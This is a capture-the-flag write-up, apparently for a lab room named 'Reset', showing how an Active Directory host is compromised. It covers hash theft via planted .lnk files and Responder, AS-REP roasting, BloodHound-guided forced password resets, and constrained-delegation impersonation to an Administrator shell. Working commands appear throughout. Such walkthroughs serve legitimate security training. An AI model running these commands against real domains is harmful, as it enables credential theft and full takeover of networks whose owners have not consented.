Reset

This challenge simulates a cyber-attack scenario where you must exploit an Active Directory environment. - by l4m3r8

Thank you, l4m3r8, for this great challenge. AD is always tough for me; I'm neglecting it most of the time. But I learned some neat little tricks doing this.

Many thanks at this point to 0utc4st; the solution was developed in collaboration.

Recon

The NMAP scan reveals that we deal with a Windows host with various open ports and services. Among them are services like DNS on port 53, Kerberos on port 88, Microsoft Windows RPC on ports 135, 49669 to 49702, SMB on port 139/445, Microsoft Windows Active Directory LDAP on ports 389 and 3268, Microsoft Terminal Services on port 3389, and Microsoft HTTPAPI httpd on port 5985.

From the service scan, we can also see that the domain name is THM.CORP and the computer name is HayStack.

First, we enumerate the SMB service. We use crackmapexec for this. Alternatively, SMBMap or the SMBClient could also be used here. We can see that we can list the shares with any user without credentials.

The share Data stands out. We use SMBClient to connect to the share and find the onboarding folder there. This contains two PDFs and a text file. We download the complete folder.

To download the folder recursively, we use the following commands:

mask ""
recurse ON 
prompt OFF
mget * 

In the text file and in one of the presentations, we find the onboarding material for a user. We receive the first and last name of a user and their initial password.

Unfortunately, we cannot find initial access with usernames like LILY.ONEILL, LILY_ONEILL or other in combination with that onboarding password, during further enumeration. So we have to compromise the machine in other ways.

Initial Access

We stay in the SMB share and realize that the files here are being renamed or replaced. This means that a user accesses this share regularly. We also note that we have write access to the share.

When it comes to AD enumeration, I first and foremost use the MindMap from Orange-Cyber Defense: https://orange-cyberdefense.github.io/

Since we are on the same network as the machine, and we have write access, we can try to steal the NTLM hash of the user who regularly accesses /Data/onboarding. To do this, we set up Responder and place a file in the share that connects to us when it is opened and leaks the user's hash.

The Greenwolf ntlm_theft tool makes our work easier here and creates up to 21 files for us that can be used for NTLM hash theft.

We have the option of placing all of them in /Data/onboarding share or the one that we know works after testing. This is the *.lnk file. First, we generate all the files.

ntlm_theft.py -g all -s <IP> -f <FOLDER>

Next, we start Responder on our VPN interface.

Responder is a powerful hacking tool used in penetration testing and security assessments. It's designed to listen for specific network traffic, particularly LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) requests. When a device on the network tries to resolve a hostname, such as through a mistyped URL or accessing a non-existent resource, it may send out these requests.

Responder intercepts these requests and responds with fake or spoofed responses, tricking the requesting device into sending authentication credentials. This is particularly effective in environments where NTLMv1/NTLMv2 authentication is prevalent.

After our Responder is running, we place the *.lnk file in /Data/onboarding.

After a short time, we get the hash of the user AUTOMATE in Responder.

We use Hashcat to crack the hash. We do not need to specify the mode; Hashcat can determine this itself. The hash is specified via a file.

Nice, now we have a valid User with credentials. Let's first check if we can connect to the machine using evil-winrm. We are able to connect and find the user's flag in the Desktop directory of the user AUTOMATE. So we are on the right track.

Lateral Movement

Since we now have credentials from the AUTOMATE user, we can query AS-REProastable users. AS-REP Roasting is a technique that enables us to steal the password hashes of user accounts that have Kerberos preauthentication disabled, which we can then attempt to crack offline. We use GetNPUsers.py, alternatively, we could also use Bloodhound to find them.

Impackets script GetNPUsers.py can be used to query those users; it will attempt to list and get TGTs for those users that have the property 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). First, we query GetNPUsers.py thm.corp/AUTOMATE and provide the password of AUTOMATE to get all AS-REProastbale users.

Next, we can query for each of them without providing a password. The user TABATHA_BRITT is of interest here, as the hash of this user is crackable.

We use Hashcat again. And here, too, we do not need to specify the mode. We quickly retrieve the password.

We've already mentioned Bloodhound, but now we're getting right to it. Next, we want to use Bloodhound to identify possible attack vectors via the user TABATHA_BRITT or others.

It is not necessary to set up a fake DNS; instead, the target machine should be defined as a name server as a parameter in the command:

bloodhound-python -d thm.corp -u 'TABATHA_BRITT' -p '' -dc thm.corp -c all -ns <TARGET_IP>

We try to enumerate the domain with Bloodhound-python but receive a DNS error. To evade this problem, a fake DNS was set up...

... with DNSChef as follows:

python dnschef.py --fakeip 10.10.237.77 --nameserver 10.10.237.77

After we have set up DNSChef we alter the command for Bloodhound-python. The nameserver parameter is added with our localhost everything else remains the same, and we are able to enumerate the domain.

bloodhound-python -d thm.corp -u 'TABATHA_BRITT' -p 'REDACTED' -dc thm.corp -c all -ns 127.0.0.1

After we have collected all the JSON files, we run neo4j start...

...execute Bloodhound and drop all the JSON files into the app.

We select the node for TABATHA_BRITT and display all transitively controllable objects.

Transitive Object Control are objects this user can gain control of by performing ACL-only-based attacks in Active Directory. It's represented as a number. In other words, the maximum it is the number of objects the user can gain control of without needing to pivot to any other system in the network, just by manipulating objects in the directory

A possible path can already be seen here. Unfortunately, the edges are not labeled due to the zoom.

But we have:

GenericAll from TABATHA_BRITT to SHAWMA_BRAY.

ForceChangePassword from SHAWMA_BRAY to CRUZZ_HALL.

GenericWrite from CRUZ_HALL to DARLA_WINTERS.

So we can fight our way to DARLA_WINTERS. Bloodhound even shows us how to do this.

We right-click on the edge and select help.

Here we can see that it is possible to change the password for the following user with GenericAll via RPC. This also applies to ForceChangePassword and GenericWrite. Ok, we reset our way to DARLA_WINTERS.

With the following command, we set the passwords of the users; we simply use the suggested password from Bloodhound.

net rpc password "SHAWNA_BRAY" "newP@ssword2022" -U 'TABATHA_BRITT'%'REDACTED' -I '10.10.237.77' -S "THM.CORP"

We'll see if that works out. At least there were no errors. We know from Bloodhound that the user DARLA_WINTERS has access to the computer via RDP.

We use RDP with our changed credentials of DARLA_WINTERS and see we can connect. Our password change was successful. But what have we gained now?

Privilege Escalation

We take a closer look at the DARLA_WINTERS node and see that delegation is possible for the CIFS service. Many sources, like https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/constrained-delegation are refering to Rubeus and Mimikatz to do so. But the machine has AV turned on, and I was only able to disable AMSI via Fabian Mosch / Matt Graeber Bypass.

But Impacket also has a solution for this to do it remotely. We use the script getST.py.

Impacket’s getST.py will request a Service Ticket and save it as ccache. If the account has constrained delegation privileges, you can use the -impersonate flag to request a ticket on behalf of another user.

After executing the command and providing our set password for DARLA_WINTERS, we receive the service ticket, which we can then use to get a remote shell as Administrator.

getST.py -k -impersonate Administrator -spn cifs/HAYSTACK.THM.CORP THM.CORP/DARLA_WINTERS

Next, we set the variable KRB5CCNAME via export KRB5CCNAME=<filename> and execute wmiexec.py as follows, which accesses the variable:

wmiexec.py THM.CORP/Administrator@HAYSTACK.THM.CORP -k -no-pass

We get a shell as Administrator on the machine and find the final flag in C:\Users\Administrator\Desktop\root.txt.

Last updated